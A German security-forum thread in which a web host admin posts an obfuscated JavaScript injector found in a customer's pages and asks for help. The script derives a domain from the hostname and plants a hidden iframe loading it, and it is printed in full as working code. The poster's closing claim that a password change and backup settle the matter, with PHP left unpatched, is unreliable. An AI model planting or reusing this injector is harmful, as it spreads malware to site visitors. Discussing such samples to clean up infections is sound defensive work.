|
Unbekanntes Script verbreitet sich auf Kundenseite Hallo, auf unserem Webserver verbreitet sich ein Script auf mehreren Seiten eines Kunden, sodass diese von Firefox, Google und Kaspersky gesperrt wurden. Der Script: Code: <script>document.write(String.fromCharCode(60,98,111,100,121,62,10,60,47,98,111,100,121,62,10,60,115,99,114,105,112,116,62,10,102,117,110,99,116,105,111,110,32,103,101,116,95,100,111,109,97,105,110,40,41,32,123,10,32,32,32,32,118,97,114,32,97,32,61,32,91,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,51,92,120,99,50,92,120,100,98,92,120,100,98,92,120,99,52,92,120,99,53,92,120,99,52,92,120,99,53,92,120,99,101,92,120,99,53,92,120,100,56,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,99,97,92,120,100,98,92,120,100,102,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,100,102,92,120,99,99,92,120,100,99,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,99,52,92,120,99,56,92,120,100,57,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,100,57,92,120,99,56,92,120,100,98,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,10,9,93,59,10,9,118,97,114,32,98,32,61,32,48,120,70,70,70,70,70,70,70,70,59,10,32,32,32,32,118,97,114,32,100,32,61,32,98,59,10,32,32,32,32,118,97,114,32,101,32,61,32,48,120,51,51,51,51,51,51,51,51,59,10,32,32,32,32,118,97,114,32,102,32,61,32,48,120,68,51,52,68,66,51,51,70,59,10,32,32,32,32,118,97,114,32,103,32,61,32,48,120,56,48,48,48,48,48,48,48,59,10,32,32,32,32,118,97,114,32,104,32,61,32,48,120,65,66,59,10,32,32,32,32,118,97,114,32,107,32,61,32,40,100,111,99,117,109,101,110,116,91,39,108,111,99,97,116,105,111,110,39,93,91,39,104,111,115,116,110,97,109,101,39,93,32,124,124,32,39,100,101,102,97,117,108,116,115,104,105,116,39,41,91,39,116,111,76,111,119,101,114,67,97,115,101,39,93,40,41,59,10,32,32,32,32,102,111,114,32,40,118,97,114,32,106,32,61,32,48,59,32,106,32,60,32,107,46,108,101,110,103,116,104,59,32,106,43,43,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,99,32,61,32,107,91,39,99,104,97,114,67,111,100,101,65,116,39,93,40,106,41,59,10,32,32,32,32,32,32,32,32,100,32,94,61,32,99,32,60,60,32,50,52,59,10,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,56,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,105,102,32,40,100,32,38,32,48,120,56,48,48,48,48,48,48,48,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,100,32,61,32,40,100,32,60,60,32,49,41,32,94,32,48,120,69,68,66,56,56,51,50,48,10,32,32,32,32,32,32,32,32,32,32,32,32,125,32,101,108,115,101,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,100,32,60,60,61,32,49,10,32,32,32,32,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,125,10,32,32,32,32,105,102,32,40,100,32,60,32,48,41,32,123,10,32,32,32,32,32,32,32,32,100,32,61,32,100,32,62,62,62,32,48,10,32,32,32,32,125,10,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,120,70,70,70,70,70,70,70,70,44,32,110,117,109,32,61,32,48,59,32,110,117,109,32,60,32,53,59,32,105,32,45,61,32,101,44,32,110,117,109,43,43,41,32,123,10,32,32,32,32,32,32,32,32,105,102,32,40,100,32,62,61,32,40,105,32,45,32,101,41,32,38,38,32,100,32,60,61,32,105,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,108,32,61,32,34,34,59,10,32,32,32,32,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,97,91,110,117,109,93,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,108,32,43,61,32,83,116,114,105,110,103,91,39,102,114,111,109,67,104,97,114,67,111,100,101,39,93,40,97,91,110,117,109,93,91,39,99,104,97,114,67,111,100,101,65,116,39,93,40,105,41,32,94,32,48,120,65,66,41,10,32,32,32,32,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,108,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,125,10,125,10,119,105,110,100,111,119,46,117,114,108,100,97,116,97,32,61,32,103,101,116,95,100,111,109,97,105,110,40,41,59,10,105,102,32,40,116,121,112,101,111,102,32,40,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,41,32,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,10,32,32,32,32,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,32,48,10,125,10,105,102,32,40,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,61,32,48,41,32,123,10,32,32,32,32,32,32,32,32,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,32,49,59,10,32,32,32,32,32,32,32,32,118,97,114,32,97,32,61,32,100,111,99,117,109,101,110,116,91,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,93,40,34,105,102,114,97,109,101,34,41,91,48,93,59,10,32,32,32,32,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,40,97,41,32,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,98,32,61,32,100,111,99,117,109,101,110,116,91,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,93,40,34,104,101,97,100,34,41,91,48,93,59,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,99,32,61,32,100,111,99,117,109,101,110,116,91,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,93,40,34,100,105,118,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,46,115,116,121,108,101,46,100,105,115,112,108,97,121,32,61,32,39,110,111,110,101,39,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,46,105,100,32,61,32,39,101,118,105,108,115,104,105,116,39,59,10,32,32,32,32,32,32,32,32,32,32,32,32,98,91,39,97,112,112,101,110,100,67,104,105,108,100,39,93,40,99,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,100,32,61,32,100,111,99,117,109,101,110,116,91,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,93,40,34,105,102,114,97,109,101,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,100,46,115,114,99,32,61,32,119,105,110,100,111,119,46,117,114,108,100,97,116,97,59,10,9,9,9,98,91,39,97,112,112,101,110,100,67,104,105,108,100,39,93,40,100,41,10,32,32,32,32,32,32,32,32,125,32,101,108,115,101,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,97,46,115,114,99,32,61,32,119,105,110,100,111,119,46,117,114,108,100,97,116,97,10,9,125,10,32,125,10,60,47,115,99,114,105,112,116,62));</script>Gruß, Sawell. Paar Infos: - Der Script ist in fast allen HTML, PHP und JAVA Dokumenten vorhanden. Bei PHP nur vor dem "</body>"-Tag. - Es Parallel Plesk Panel benutzt |
hi ist alles aktuell auf der homepage? verwendete content management systeme etc? verwaltet der kunde die seite oder ausschlißlich ihr? |
Die Inhalte der Dateien wurden am 15.7.2012 geändert, sprich vor 10 Tagen. Seit dem hat Kunde nichts an der Seite gemacht. Außer diesen sind aber auch noch andere betroffen. Und sie verwenden kein CMS-System. Wir haben natürlich unser Administrator-Kennwort schon geändert und ein Back-Up eingespielt. Die Seiten sind wieder zum 05.7.2012 zurückgesetzt und wieder von Google und co. freigeschaltet worden. Gruß, Sawell |
ok, dann würd ich trotzdem mal gucken, ob serverseitig alles auf dem neuesten stand ist. geben die logs denn was her? |
Nein, leider nicht. Wir hoffen das es ein Passwort-Diebstahl war, und haben das Passwort geändert und Backup eingespielt. |
und was ist mit den updates |
Alles außer PHP ist auf aktuellsten stand. Gruß. |
kann man ja auch mal über ein update nachdenken |
PHP wird vom E-Mail Server genutzt, und kann somit nicht geupdatet werden. Es scheint, dass das nur ein Diebstahl des Passwortes war. Haben BackUp aufgespielt und Passwort geändert. Ist wieder alles bestens. Danke für die Hilfe. Gruß, Sawell |
| Alle Zeitangaben in WEZ +1. Es ist jetzt 17:39 Uhr. |
Copyright ©2000-2025, Trojaner-Board